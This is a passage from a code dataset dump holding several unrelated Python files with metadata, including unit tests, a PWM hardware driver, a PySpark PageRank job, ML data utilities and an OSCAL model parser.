算法及优化模拟.py","file_name":"MovieLens 算法及优化模拟.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"90549182","text":"#!/usr/bin/env python\n#=========================================================================\n# This is OPEN SOURCE SOFTWARE governed by the Gnu General Public\n# License (GPL) version 3, as described at www.opensource.org.\n# Author: William H. Majoros (bmajoros@alumni.duke.edu)\n#=========================================================================\nfrom __future__ import (absolute_import, division, print_function, \n unicode_literals, generators, nested_scopes, with_statement)\nfrom builtins import (bytes, dict, int, list, object, range, str, ascii,\n chr, hex, input, next, oct, open, pow, round, super, filter, map, zip)\n# The above imports should allow this program to run in both Python 2 and\n# Python 3. You might need to update your version of module \"future\".\nimport sys\nimport ProgramName\n\nMIN_COUNT=2\n\ndef loadFile(filename):\n points={}\n with open(filename,\"rt\") as IN:\n for line in IN:\n fields=line.rstrip().split()\n if(len(fields)!=2): continue\n (x,y)=(int(fields[0]),int(fields[1]))\n if(y>=MIN_COUNT): points[x]=y\n return points\n\n#=========================================================================\n# main()\n#=========================================================================\nif(len(sys.argv)!=3):\n exit(ProgramName.get()+\" \\n\")\n(filename1,filename2)=sys.argv[1:]\n\npoints1=loadFile(filename1)\npoints2=loadFile(filename2)\nfor x in points2.keys():\n if(points1.get(x,0)>0):\n print(x,points1[x],points2[x],sep=\"\\t\")\n\n\n\n\n\n","sub_path":"pair-figure.py","file_name":"pair-figure.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"178648997","text":"\"\"\"\nAuthor: Kyle Ong\nDate: 11/05/2018\n\nTest cases for Parser class\n\"\"\"\nimport unittest\nfrom unittest import TestCase\nfrom parser import Parser\n\n\nclass ParserTestCase(TestCase):\n\n def setUp(self):\n line = ';LCA_CASE_NUMBER;STATUS;LCA_CASE_SUBMIT;DECISION_DATE;'\\\n 'VISA_CLASS;LCA_CASE_EMPLOYMENT_START_DATE;'\\\n 'LCA_CASE_EMPLOYMENT_END_DATE;'\\\n 'LCA_CASE_EMPLOYER_NAME;LCA_CASE_EMPLOYER_ADDRESS;'\\\n 'LCA_CASE_EMPLOYER_CITY;LCA_CASE_EMPLOYER_STATE;'\\\n 'LCA_CASE_EMPLOYER_POSTAL_CODE;LCA_CASE_SOC_CODE;'\\\n 'LCA_CASE_SOC_NAME;LCA_CASE_JOB_TITLE;'\\\n 'LCA_CASE_WAGE_RATE_FROM;LCA_CASE_WAGE_RATE_TO;'\\\n 'LCA_CASE_WAGE_RATE_UNIT;FULL_TIME_POS;TOTAL_WORKERS;'\\\n 'LCA_CASE_WORKLOC1_CITY;LCA_CASE_WORKLOC1_STATE;PW_1;'\\\n 'PW_UNIT_1;PW_SOURCE_1;OTHER_WAGE_SOURCE_1;'\\\n 'YR_SOURCE_PUB_1;LCA_CASE_WORKLOC2_CITY;'\\\n 'LCA_CASE_WORKLOC2_STATE;PW_2;PW_UNIT_2;PW_SOURCE_2;'\\\n 'OTHER_WAGE_SOURCE_2;YR_SOURCE_PUB_2;LCA_CASE_NAICS_CODE'\n\n self.parsed = line.split(\";\")\n self.parser = Parser(self.parsed)\n\n def test_getLocations(self):\n test = self.parser.locations\n expected = {\n \"soc_name\": 14,\n \"soc_code\": 13,\n \"status\": 2,\n \"lca_case_workloc2_state\": 29,\n \"lca_case_workloc1_state\": 22,\n }\n # print(test)\n self.assertEquals(test, expected)\n\n def test_isValid(self):\n test = self.parser.isValid(self.parsed)\n expected = True\n self.assertEquals(expected, test)\n\n def test_status(self):\n status = self.parser.status(self.parsed)\n expected = \"STATUS\"\n self.assertEquals(status, expected)\n\n def test_state1(self):\n state = self.parser.state1(self.parsed)\n expected = \"LCA_CASE_WORKLOC1_STATE\"\n self.assertEquals(expected, state)\n\n def test_state2(self):\n state = self.parser.state2(self.parsed)\n expected = \"LCA_CASE_WORKLOC2_STATE\"\n self.assertEquals(expected, state)\n\n def test_worksite(self):\n worksite = self.parser.worksite(self.parsed)\n expected = None\n self.assertEquals(expected, worksite)\n\n def test_isCertified(self):\n isCertified = self.parser.isCertified(self.parsed)\n expected = False\n self.assertEquals(isCertified, expected)\n\n def test_name(self):\n name = self.parser.name(self.parsed)\n expected = \"LCA_CASE_SOC_NAME\"\n self.assertEquals(name, expected)\n\n def test_code(self):\n code = self.parser.code(self.parsed)\n expected = \"LCA_CASE_SOC_CODE\"\n self.assertEquals(code, expected)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"insight_testsuite/temp/src/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"203171621","text":"from IoTPy.pyuper.pinouts import CAP_PWM\nfrom IoTPy.pyuper.utils import IoTPy_APIError, errmsg\n\n\nPWM_PORT_RUNNING = [{'channels':0, 'period':0}, {'channels':0, 'period':0}]\n\nclass PWM:\n \"\"\"\n PWM (Pulse Width Modulation) pin module.\n\n :param board: IoBoard to which the pin belongs to.\n :type board: :class:`IoTPy.pyuper.ioboard.IoBoard`\n :param pin: PWM pin number.\n :type pin: int\n :param polarity: Active (on) state signal level: 0 (LOW) or 1 (HIGH). Optional, default 1.\n :type polarity: int\n \"\"\"\n\n _PWM_PORT_FUNCTIONS = [[50,51,52],[60,61,62]]\n _PWM_PORT_MAX = [0xffff, 0xffffffff] #maxuint16, maxuint32\n\n def __init__(self, board, pin, polarity = 1):\n self.board = board\n if self.board.pinout[pin].capabilities & CAP_PWM:\n self.logical_pin = self.board.pinout[pin].pinID\n else:\n errmsg(\"UPER API: Pin No:%d is not a PWM pin.\", pin)\n raise IoTPy_APIError(\"Trying to assign PWM function to non PWM pin.\")\n self.pwm_port = self.board.pinout[pin].extra[0]\n self.pwm_pin = self.board.pinout[pin].extra[1]\n self.primary = True\n self.hightime = 0\n self.polarity = polarity\n PWM_PORT_RUNNING[self.pwm_port]['channels'] += 1\n if PWM_PORT_RUNNING[self.pwm_port]['channels'] == 1:\n self.period(10000)\n\n def period(self, period):\n \"\"\"\n Set PWM period.\n\n :param period: PWM signal period in microseconds.\n :type period: int\n :raise: IoTPy_APIError\n \"\"\"\n if 0 <= period <= self._PWM_PORT_MAX[self.pwm_port]:\n if PWM_PORT_RUNNING[self.pwm_port]['period'] != period:\n self.board.uper_io(0, self.board.encode_sfp(self._PWM_PORT_FUNCTIONS[self.pwm_port][0], [period]))\n PWM_PORT_RUNNING[self.pwm_port]['period'] = period\n else:\n errmsg(\"UPER API: PWM period for port %d can be only between 0-%d\" % (self.pwm_port, self._PWM_PORT_MAX[self.pwm_port]))\n raise IoTPy_APIError(\"PWM period is out of range.\")\n\n def width_us(self, hightime):\n \"\"\"\n Set PWM high (on state) time.\n\n :param hightime: On state time in microseconds.\n :type hightime: int\n :raise: IoTPy_APIError\n \"\"\"\n if self.primary:\n self.board.uper_io(0, self.board.encode_sfp(2, [self.logical_pin])) # set pin secondary function\n self.primary = False\n if 0 <= hightime <= PWM_PORT_RUNNING[self.pwm_port]['period']:\n self.hightime = hightime\n if self.polarity == 1:\n hightime = PWM_PORT_RUNNING[self.pwm_port]['period'] - hightime\n self.board.uper_io(0, self.board.encode_sfp(PWM._PWM_PORT_FUNCTIONS[self.pwm_port][1], [self.pwm_pin, hightime]))\n else:\n errmsg(\"UPER error: PWM high time is out of range on logical pin %d.\" % self.logical_pin)\n raise IoTPy_APIError(\"PWM high time is out of range.\")\n\n def write(self, duty):\n \"\"\"\n Set PWM duty cycle.\n\n :param duty: PWM duty cycle in fractions: 1.0 is 100%, 0.5 is 50%, etc.\n :type duty: float\n \"\"\"\n self.width_us(int(PWM_PORT_RUNNING[self.pwm_port]['period']*float(duty)))\n\n def read(self):\n \"\"\"\n Get PWM duty cycle.\n\n :return: PWM duty cycle.\n \"\"\"\n return float(self.hightime) / PWM_PORT_RUNNING[self.pwm_port]['period']\n\n def __exit__(self, exc_type, exc_value, traceback):\n PWM_PORT_RUNNING[self.pwm_port]['channels'] -= 1\n self.primary = True\n self.board.uper_io(0, self.board.encode_sfp(1, [self.logical_pin])) # set pin primary function\n if PWM_PORT_RUNNING[self.pwm_port]['channels'] == 0:\n PWM_PORT_RUNNING[self.pwm_port]['period'] = 0\n self.board.uper_io(0, self.board.encode_sfp(PWM._PWM_PORT_FUNCTIONS[self.pwm_port][2], [self.pwm_pin]))\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass","sub_path":"IoTPy/pyuper/pwm.py","file_name":"pwm.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"508647803","text":"import random\n\ndef checkDoubleBirthday(n, tries):\n birthdayOdds = []\n for x in range(tries):\n birthdayList = []\n for i in range(n):\n birthdayList.append(random.randint(1, 365))\n if(len(birthdayList) != len(set(birthdayList))):\n birthdayOdds.append(len(birthdayList))\n break\n # print(birthdayOdds)\n result = len(birthdayOdds)/tries\n return result\n\nprint(checkDoubleBirthday(23, 10000))\n","sub_path":"assignments/week1/4_birthday_problem.py","file_name":"4_birthday_problem.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28646411","text":"import sys \nfrom pyspark import SparkContext, SparkConf, StorageLevel \n \n# Set input and output path \ninput_file = sys.argv[1] \noutput_file = sys.argv[2] \npartition_num = int(sys.argv[3]) \n\n# Set spark configuration and spark context \nconf = SparkConf().setAppName(\"part3\").setMaster(\"local\") \nsc = SparkContext(conf=conf) \n\n# Read the input file as RDD \nlines = sc.textFile(input_file) \n\n# Parse the RDD file to be pairs of nodes (i.e., (from_id, to_id)) \nlines = lines.filter(lambda line:'#' not in line) \nnode_pairs = lines.map(lambda line:line.split(\"\\t\")) \n \n# Drop the node pair RDD to either disk or memory as the storage level specifies \nnode_pairs = node_pairs.persist(storageLevel=StorageLevel(False,True,False,False,1)) \n\n# Reorganize the node pairs into a node map \nnode_map = node_pairs.groupByKey() \n \n# Set the initial rank of each node as 1 \nrank = node_map.mapValues(lambda e: 1.0) \n\n# Run ten iterations with each recalculating a rank for every node based on PageRank # algorithm \nfor i in range(10): \n rank_node_map = rank.join(node_map).partitionBy(partition_num) \n contribution_mapped = rank_node_map.flatMap(lambda rn: [(to_id, rn[1][0] / rn[1][1].__len__()) for to_id in rn[1][1]]) \n contribution_reduced = contribution_mapped.reduceByKey(lambda rn1, rn2: rn1 + rn2) \n rank = contribution_reduced.mapValues(lambda cr: 0.15 + 0.85 * cr) \n\n# Save the final rank RDD to an output file \nrank.repartition(1).saveAsTextFile(output_file) \n","sub_path":"Hadoop_Spark_Sorting_PageRank/PageRank/Task4/part3_pagerank.py","file_name":"part3_pagerank.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"9958815","text":"import os\nimport math\nimport errno\nimport numpy as np\nimport functools\nimport inspect\nimport logging\nimport matplotlib.pyplot as plt\n\n\nfrom PIL import Image\nfrom shutil import rmtree\nfrom keras.utils import to_categorical\n\nlogger = logging.getLogger()\n\n\ndef discount_with_dones(rewards, dones, gamma):\n \"\"\"\n Calculates discounted rewards. This is still valid if the episode\n terminated within the sequence.\n\n From OpenAI basline's A2C.\n\n Parameters\n ----------\n rewards: list\n list of rewards with the last value being the state value\n\n dones: list\n list of dones as floats\n\n gamma: float\n discount factor\n\n Returns\n -------\n list of discounted rewards\n\n \"\"\"\n discounted = []\n r = 0\n\n # discounted rewards are calculated on the reversed reward list.\n # that returns are calculated in descending order is easy to\n # overlook in the original pseudocode.\n # when writing down an example of the pseudocode, it is clear, that\n # r_t + gamma * V(s_tp1) is calculated for each list element and\n # this is also what is done here.\n for reward, done in zip(rewards[::-1], dones[::-1]):\n r = reward + gamma*r*(1.-done)\n discounted.append(r)\n return discounted[::-1]\n\n\ndef store_args(method):\n \"\"\"Stores provided method args as instance attributes. From OpenAI baselines HER.\n \"\"\"\n argspec = inspect.getfullargspec(method)\n defaults = {}\n if argspec.defaults is not None:\n defaults = dict(\n zip(argspec.args[-len(argspec.defaults):], argspec.defaults))\n if argspec.kwonlydefaults is not None:\n defaults.update(argspec.kwonlydefaults)\n arg_names = argspec.args[1:]\n\n @functools.wraps(method)\n def wrapper(*positional_args, **keyword_args):\n self = positional_args[0]\n # Get default arg values\n args = defaults.copy()\n # Add provided arg values\n for name, value in zip(arg_names, positional_args[1:]):\n args[name] = value\n args.update(keyword_args)\n self.__dict__.update(args)\n return method(*positional_args, **keyword_args)\n\n return wrapper\n\n\ndef create_dir(directory_path):\n if not os.path.isdir(directory_path):\n try:\n os.makedirs(directory_path)\n logger.info('Creating {}'.format(directory_path))\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(directory_path):\n pass\n\n\n# get list of directories in path\ndef ls_dir(d):\n \"\"\" Returns list of subdirectories under d, excluding files. \"\"\"\n return [d for d in [os.path.join(d, f) for f in os.listdir(d)] if os.path.isdir(d)]\n\n\ndef clean_dir(path):\n \"\"\" Deletes subdirs of path \"\"\"\n\n logger.debug('Cleaning dir {}'.format(path))\n\n # sanity check\n if not os.path.isdir(path):\n return\n\n for di in ls_dir(path):\n rmtree(di)\n\n\ndef rename_latest_run(path):\n \"\"\" Renames 'run-latest' in path to run-ID \"\"\"\n\n # sanity check\n if not os.path.isdir(path):\n return\n\n # for each found run-ID directory, increment idx\n idx = 1\n for di in ls_dir(path):\n if 'run-' in di:\n try:\n int(di.split('-')[-1])\n idx += 1\n except ValueError:\n continue\n\n # if a latest run exists, we rename it appropriately\n if os.path.isdir('{}/run-latest'.format(path)):\n os.rename('{}/run-latest'.format(path), '{}/run-{}'.format(path, idx))\n\n\ndef animate_greyscale_dataset(dataset):\n '''\n Animates dataset using matplotlib.\n Animations get slower over time. (Beware of big datasets!)\n\n :param dataset: dataset to animate\n '''\n\n # reshape if necessary\n if len(dataset.shape) and dataset.shape[-1] == 1:\n dataset = np.reshape(dataset, dataset.shape[:3])\n\n for i in range(dataset.shape[0]):\n plt.imshow(dataset[i], cmap='Greys_r')\n plt.pause(.005)\n\n plt.show()\n\n\ndef show_density(imgs):\n _, ax = plt.subplots()\n ax.imshow(imgs.mean(axis=0), interpolation='nearest', cmap='Greys_r')\n ax.grid('off')\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef show_images_grid(imgs_, num_images=25):\n ncols = int(np.ceil(num_images**0.5))\n nrows = int(np.ceil(num_images / ncols))\n _, axes = plt.subplots(ncols, nrows, figsize=(nrows * 3, ncols * 3))\n axes = axes.flatten()\n\n for ax_i, ax in enumerate(axes):\n if ax_i < num_images:\n ax.imshow(imgs_[ax_i], cmap='Greys_r', interpolation='nearest')\n ax.set_xticks([])\n ax.set_yticks([])\n else:\n ax.axis('off')\n\n\ndef prune_dataset(set, batch_size):\n\n # keras training will die if there is a smaller batch at the end\n rest = set.shape[0] % batch_size\n if rest > 0:\n set = set[:-rest, ]\n\n return set\n\n\ndef folder_to_npz(prefix, name, target_size, test_set):\n\n logger.info('Converting {} to npz file.'.format(name))\n\n # arrays for train & test images and labels\n x_train = np.empty([0] + target_size)\n y_train = np.empty([0])\n\n x_test = np.empty([0] + target_size)\n y_test = np.empty([0])\n\n # index to label mappings\n idx2label = {}\n label2idx = {}\n\n # build dataset dir\n dataset_dir = '{}/{}/'.format(prefix, name)\n dataset_save = '{}/{}.npz'.format(prefix, name)\n\n # iterate over class directories\n for directory, subdir_list, file_list in os.walk(dataset_dir):\n\n # skip if parent dir\n if directory == dataset_dir:\n continue\n\n class_name = directory.split('/')[-1]\n logger.info('Found class {} with {} samples.'.format(class_name, len(file_list)))\n\n # store idx -> label mapping\n idx = len(idx2label)\n idx2label[idx] = class_name\n label2idx[class_name] = idx\n\n # temp array for faster concat\n class_imgs = np.empty([0] + target_size)\n\n for file_name in file_list:\n # build file path\n file_path = '{}/{}'.format(directory, file_name)\n\n # load and resize image to desired input shape\n img = Image.open(file_path).resize([target_size[0], target_size[1]])\n\n # reshape for concatonation\n i = np.reshape(img, [1] + target_size).astype(np.float)\n\n # normalise image values\n i /= 255\n\n # append to temporary image array\n class_imgs = np.concatenate((class_imgs, i))\n\n # split class into train & test images\n nb_test = math.floor(class_imgs.shape[0]*test_set)\n nb_train = class_imgs.shape[0] - nb_test\n\n logger.info('Splitting into {} train and {} test samples.'.format(nb_train, nb_test))\n\n # randomly shuffle dataset before splitting into train & test\n np.random.shuffle(class_imgs)\n\n # do the split\n train, test = class_imgs[:nb_train], class_imgs[nb_train:]\n\n # append to final image array\n x_train = np.concatenate((x_train, train))\n x_test = np.concatenate((x_test, test))\n \n # add labels\n y_train = np.concatenate((y_train, [idx] * nb_train))\n y_test = np.concatenate((y_test, [idx] * nb_test))\n\n # convert label vector to binary class matrix\n nb_classes = len(idx2label.keys())\n y_train = to_categorical(y_train, nb_classes)\n y_test = to_categorical(y_test, nb_classes)\n\n logger.info('Dataset has {} train and {} test samples.'.format(x_train.shape[0], x_test.shape[0]))\n logger.info('Saving dataset ...')\n\n # save dataset\n with open(dataset_save, 'wb') as file:\n np.savez_compressed(file, x_train=x_train, y_train=y_train,\n x_test=x_test, y_test=y_test,\n idx2label=idx2label, label2idx=label2idx)\n\n logger.info('Done!')\n\n\ndef folder_to_unlabeled_npz(prefix, name, target_shape=None):\n logger.info('Converting {} to npz file.'.format(name))\n\n if target_shape is not None:\n logger.info('Dataset will have shape {}'.format(target_shape))\n\n # build dataset dir\n dataset_dir = '{}/{}/'.format(prefix, name)\n dataset_save = '{}/{}.npz'.format(prefix, name)\n\n for _, _, file_list in os.walk(dataset_dir):\n for file in file_list:\n im_path = os.path.join(dataset_dir, file)\n image_shape = list(np.array(Image.open(im_path)).shape)\n break\n break\n\n # iterate over class directories\n for directory, subdir_list, file_list in os.walk(dataset_dir):\n\n # build file path\n file_paths = ['{}/{}'.format(directory, file_name) for file_name in file_list]\n\n # load and resize image to desired input shape\n if target_shape is None:\n imgs = np.array([np.array(Image.open(file_name), dtype=np.float32)\n for file_name in file_paths], dtype=np.float32)\n else:\n imgs = np.array([np.array(Image.open(file_name).resize((target_shape[1], target_shape[0])), dtype=np.float32)\n for file_name in file_paths], dtype=np.float32)\n\n # normalise image values\n imgs /= 255\n\n # randomly shuffle dataset\n np.random.shuffle(imgs)\n\n break\n\n logger.info('Dataset has {} samples.'.format(imgs.shape[0]))\n logger.info('Saving dataset ...')\n\n # save dataset\n with open(dataset_save, 'wb') as file:\n np.savez_compressed(file, imgs=imgs)\n\n logger.info('Done!')\n","sub_path":"forkan/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"139571981","text":"import numpy as np\n\n\ndef slide_window(img, x_start_stop=[None, None], y_start_stop=[None, None],\n xy_window=(64, 64), xy_overlap=(0.5, 0.5)):\n \"\"\"Define a function that takes an image, start and stop positions in both x and y,\n window size (x and y dimensions), and overlap fraction (for both x and y)\n \"\"\"\n # Initialize a list to append window positions to\n window_list = []\n # If x and/or y start/stop positions not defined, set to image size\n x_start_stop[0] = x_start_stop[0] or 0\n x_start_stop[1] = x_start_stop[1] or img.shape[1]\n y_start_stop[0] = y_start_stop[0] or 0\n y_start_stop[1] = y_start_stop[1] or img.shape[0]\n # Compute the span of the region to be searched\n span = (x_start_stop[1] - x_start_stop[0], y_start_stop[1] - y_start_stop[0])\n # Compute the number of pixels per step in x/y\n pixels_per_step = (np.array(xy_window) * (1 - np.array(xy_overlap))).astype(int)\n # Compute the number of windows in x/y\n n_windows = (span / pixels_per_step - 1).astype(int)\n # Loop through finding x and y window positions\n for ys in range(n_windows[1]):\n for xs in range(n_windows[0]):\n # Calculate window position\n startx = xs * pixels_per_step[0] + x_start_stop[0]\n endx = startx + xy_window[0]\n starty = ys * pixels_per_step[1] + y_start_stop[0]\n endy = starty + xy_window[1]\n # Append window position to list\n window_list.append(((startx, starty), (endx, endy)))\n # Return the list of windows\n return window_list\n","sub_path":"vehicledetection/sliding_window.py","file_name":"sliding_window.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"255037290","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport json\nfrom django.test import Client\nfrom django.test import TestCase\n\n\nclass LogTest(TestCase):\n\n def setUp(self):\n self.client = Client()\n\n def test_validation_get_method(self):\n response = self.client.get('/log/machine/123/')\n self.assertEqual(response.status_code, 405)\n\n def test_novalid_json(self):\n response = self.client.post('/log/machine/123/', {\n 'req': '{\"hashrate\": 782, \"vcards\": [[{\"gpuid\": 1}, {\"gpuid\": 2}]}'\n })\n self.assertEqual(response.status_code, 404)\n\n def test_validation_uid(self):\n response = self.client.post('/log/machine/123/', {\n 'req': json.dumps({\n \"hashrate\": 782,\n \"vcards\": [{\"gpuid\": 1}, {\"gpuid\": 2}]\n })})\n self.assertEqual(response.status_code, 404)\n","sub_path":"app/log/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"55450982","text":"import torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torch\nfrom math import pi,cos,sin\nimport numpy as np\n\ndef add_stripes(image):\n w=Variable(torch.Tensor(image.shape[1]), requires_grad=True)\n wo=w/2\n k2=75.23\n ModFac = 0.8\n aA = 0.5 * ModFac;\n aB = 0.5 * ModFac;\n aC = 0.5 * ModFac;\n mA = 0.5;\n mB = 0.5;\n mC = 0.5;\n\n x = np.arange(w)\n y = np.arange(w)\n\n [X,Y] = np.meshgrid(x,y)\n X = Variable(torch.from_numpy(X), requires_grad=True)\n Y = Variable(torch.from_numpy(Y), requires_grad=True)\n\n # illunination phase shifts along the three directions\n p0Ao = Variable(torch.Tensor(0 * pi / 3), requires_grad=True)\n p0Ap = Variable(torch.Tensor(2 * pi / 3), requires_grad=True)\n p0Am = Variable(torch.Tensor(4 * pi / 3), requires_grad=True)\n p0Bo = Variable(torch.Tensor(0 * pi / 3), requires_grad=True)\n p0Bp = Variable(torch.Tensor(2 * pi / 3), requires_grad=True)\n p0Bm = Variable(torch.Tensor(4 * pi / 3), requires_grad=True)\n p0Co = Variable(torch.Tensor(0 * pi / 3), requires_grad=True)\n p0Cp = Variable(torch.Tensor(2 * pi / 3), requires_grad=True)\n p0Cm = Variable(torch.Tensor(4 * pi / 3), requires_grad=True)\n\n # Illuminating patterns\n thetaA = Variable(torch.Tensor(0 * pi / 3), requires_grad=True)\n thetaB = Variable(torch.Tensor(1 * pi / 3), requires_grad=True)\n thetaC = Variable(torch.Tensor(2 * pi / 3), requires_grad=True)\n\n k2a = Variable(torch.Tensor((k2 / w) * cos(thetaA), (k2 / w) * sin(thetaA)), requires_grad=True)\n k2b = Variable(torch.Tensor((k2 / w) * cos(thetaB), (k2 / w) * sin(thetaB)), requires_grad=True)\n k2c = Variable(torch.Tensor((k2 / w) * cos(thetaC), (k2 / w) * sin(thetaC)), requires_grad=True)\n\n # random phase shift errors\n t = torch.rand(9,1)\n NN = Variable(torch.Tensor(1 * (0.5 - t) * pi / 18))\n\n # illunination phase shifts with random errors\n psAo = p0Ao + NN(1, 1)\n psAp = p0Ap + NN(2, 1)\n psAm = p0Am + NN(3, 1)\n psBo = p0Bo + NN(4, 1)\n psBp = p0Bp + NN(5, 1)\n psBm = p0Bm + NN(6, 1)\n psCo = p0Co + NN(7, 1)\n psCp = p0Cp + NN(8, 1)\n psCm = p0Cm + NN(9, 1)\n\n # illunination patterns\n sAo = mA + aA*cos(2*pi*(k2a(1,1)*(X-wo)+k2a(1,2)*(Y-wo))+psAo)\n sAp = mA + aA * cos(2 * pi * (k2a(1, 1) * (X - wo) + k2a(1, 2) * (Y - wo)) + psAp)\n sAm = mA + aA * cos(2 * pi * (k2a(1, 1)* (X - wo) + k2a(1, 2) * (Y - wo)) + psAm)\n sBo = mB + aB * cos(2 * pi * (k2b(1, 1) * (X - wo) + k2b(1, 2) * (Y - wo)) + psBo)\n\n sBp = mB + aB * cos(2 * pi * (k2b(1, 1) * (X - wo) + k2b(1, 2) * (Y - wo)) + psBp)\n sBm = mB + aB * cos(2 * pi * (k2b(1, 1) * (X - wo) + k2b(1, 2) * (Y - wo)) + psBm)\n sCo = mC + aC * cos(2 * pi * (k2c(1, 1) * (X - wo) + k2c(1, 2) * (Y - wo)) + psCo)\n\n sCp = mC + aC * cos(2 * pi * (k2c(1, 1) * (X - wo) + k2c(1, 2) * (Y - wo)) + psCp)\n sCm = mC + aC * cos(2 * pi * (k2c(1, 1) * (X - wo) + k2c(1, 2) * (Y - wo)) + psCm)\n\n\n # superposed Objects\n s1a = torch.Tensor.mul(image,sAo)\n s2a = torch.Tensor.mul(image, sAp)\n s3a = torch.Tensor.mul(image, sAm)\n s1b = torch.Tensor.mul(image, sBo)\n s2b = torch.Tensor.mul(image, sBp)\n s3b = torch.Tensor.mul(image,sBm)\n s1c = torch.Tensor.mul(image, sCo)\n s2c = torch.Tensor.mul(image, sCp)\n s3c = torch.Tensor.mul(image, sCm)\n\n\n\n\n\n\nif __name__ == '__main__':\n add_stripes('F:\\何超坚果云\\chenxu\\SIM\\datasets\\sim_9\\train\\1.tif')","sub_path":"angle2/models/add_stripe.py","file_name":"add_stripe.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"305758365","text":"# -*- mode:python; coding:utf-8 -*-\n# Copyright (c) 2020 IBM Corp. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Model parsing for use when models themselves must be infered and are not known.\n\nUnder most use cases trestle.core.base_model.OscalBaseModel provides functionality for loading Oscal models from files.\nHowever, under some circumstances are unknown. Use of functionality in this module should be avoided and inspected\nwhen used as to it's appropriateness.\n\"\"\"\n\nimport importlib\nimport logging\nimport pathlib\nfrom typing import Any, Dict, Optional\n\nfrom trestle.core import const\nfrom trestle.core.base_model import OscalBaseModel\nfrom trestle.core.err import TrestleError\nfrom trestle.utils import fs\n\nlogger = logging.getLogger(__name__)\n\n\ndef _parse_dict(data: Dict[str, Any], model_name: str) -> OscalBaseModel:\n \"\"\"Load a model from the data dict.\n\n This functionality is provided for situations when the OSCAL data type is not known ahead of time. Here the model\n has been loaded into memory using json loads or similar and passed as a dict.\n\n Args:\n data: Oscal data loaded into memory in a dictionary with the `root key` removed.\n model_name: it should be of the form . from trestle.oscal.* modules\n\n Returns:\n The oscal model of the desired model.\n \"\"\"\n if data is None:\n raise TrestleError('data name is required')\n\n if model_name is None:\n raise TrestleError('model_name is required')\n\n parts = model_name.split('.')\n class_name = parts.pop()\n module_name = '.'.join(parts)\n\n logger.debug(f'Loading class \"{class_name}\" from \"{module_name}\"')\n module = importlib.import_module(module_name)\n mclass = getattr(module, class_name)\n if mclass is None:\n raise TrestleError(f'class \"{class_name}\" could not be found in \"{module_name}\"')\n\n instance = mclass.parse_obj(data)\n return instance\n\n\ndef root_key(data: Dict[str, Any]) -> str:\n \"\"\"Find root model name in the data.\"\"\"\n if len(data.items()) == 1:\n return next(iter(data))\n\n raise TrestleError('data does not contain a root key')\n\n\ndef to_class_name(name: str) -> str:\n \"\"\"Convert to pascal class name.\"\"\"\n if name.find('-') != -1:\n parts = name.split('-')\n\n for i, part in enumerate(parts):\n parts[i] = part.capitalize()\n\n name = ''.join(parts)\n return name\n\n chars = list(name)\n chars[0] = chars[0].upper()\n return ''.join(chars)\n\n\ndef to_full_model_name(root_key: str, name: str = None) -> Optional[str]:\n \"\"\"Find model name from the root_key in the file.\"\"\"\n try:\n # process root key and extract model name\n module_name = root_key.lower()\n if root_key.find('-') != -1:\n parts = root_key.split('-')\n module_name = parts[0]\n\n for i, part in enumerate(parts):\n parts[i] = part.capitalize()\n\n name = ''.join(parts)\n\n # check for module with the root-key\n module = importlib.import_module(f'{const.PACKAGE_OSCAL}.{module_name}')\n\n # prepare class name\n if name is None:\n name = module_name\n class_name = to_class_name(name)\n\n # check if class exists in the module or not\n if getattr(module, class_name) is not None:\n return f'{const.PACKAGE_OSCAL}.{module_name}.{class_name}'\n except ModuleNotFoundError as ex:\n logger.error(f'Module {module_name} not found: {ex}')\n pass\n\n return None\n\n\ndef parse_file(file_name: pathlib.Path, model_name: Optional[str]) -> OscalBaseModel:\n \"\"\"\n Load an oscal file from the file system where the oscal model type is not known.\n\n Args:\n file_name: File path\n model_name: it should be of the form module.class which is derived from OscalBaseModel\n \"\"\"\n if file_name is None:\n raise TrestleError('file_name is required')\n\n data = fs.load_file(file_name)\n rkey = root_key(data)\n if model_name is None:\n model_name = to_full_model_name(rkey)\n return _parse_dict(data[rkey], model_name)\n","sub_path":"trestle/core/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"620401628","text":"\ndef cross(A,B):\n\t#returns the cross product of elements in A and B\n\treturn [a+b for a in A for b in 